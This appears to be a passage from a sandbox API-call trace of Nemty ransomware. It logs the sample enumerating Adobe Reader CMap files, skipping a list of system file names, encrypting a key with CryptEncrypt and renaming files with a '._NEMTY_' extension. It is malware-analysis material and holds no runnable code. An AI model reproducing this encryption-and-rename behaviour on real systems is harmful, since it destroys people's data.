[0205.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.691] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.713] CloseHandle (hObject=0xffffffff) returned 0 [0205.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0205.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0205.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0205.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0205.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.713] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h._nemty_kgobjgd_")) returned 0 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0205.714] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2=".") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="..") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="...") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="windows") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="$RECYCLE.BIN") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="rsa") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="NTDETECT.COM") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="ntldr") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="MSDOS.SYS") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="IO.SYS") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="boot.ini") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="boot.ini") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="AUTOEXEC.BAT") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="ntuser.dat") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="desktop.ini") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="CONFIG.SYS") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="RECYCLER") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="BOOTSECT.BAK") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="bootmgr") returned 1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="programdata") returned -1 [0205.714] lstrcmpiW (lpString1="GBK2K-V", lpString2="appdata") returned 1 [0205.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-V", lpUsedDefaultChar=0x0) returned 7 [0205.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-V", lpUsedDefaultChar=0x0) returned 7 [0205.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-V", lpUsedDefaultChar=0x0) returned 7 [0205.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.715] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-V", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-V", lpUsedDefaultChar=0x0) returned 7 [0205.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0205.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0205.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0205.715] Sleep (dwMilliseconds=0x5) [0205.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e40d770, dwHighDateTime=0x1d561e8)) [0205.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e40d770, dwHighDateTime=0x1d561e8)) [0205.715] GetLastError () returned 0x5 [0205.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.715] GetLastError () returned 0x5 [0205.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.715] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0205.716] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="xAUfCM9Tvg6Vhz7JF88VB/T4esXdStDtf2JWNqo+Tas2StazlQsGWywQN+uuygLd\r\nEFYwMagRh9ZeGMI12hHmFO0Y3BLOzAM8My90ixYf3wnb8s8vMHjvsyF9wrhNsNcT\r\nyFa6flcWf7QEWir1Jp4THNGCFiEpos9EFhDIMnPlS7kYVookyWguxTZavFHZN+d+\r\nVdBI28e+8h3GXrnXcdrzL51gvW5VHPtPaA0aJCk8dpKj4Q7pIAGCVMJbLWd9j3Na\r\nLS0hWnt8ukFuFKGhnwrixnVYKmDVoZ4F1Y5emkvvB/4vGzm8epbrliix0fnzxUgX\r\nXnPlafrMK0led/FpV9feBA==\r\n", pcchString=0x653e91c) returned 1 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0205.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0205.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.716] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, 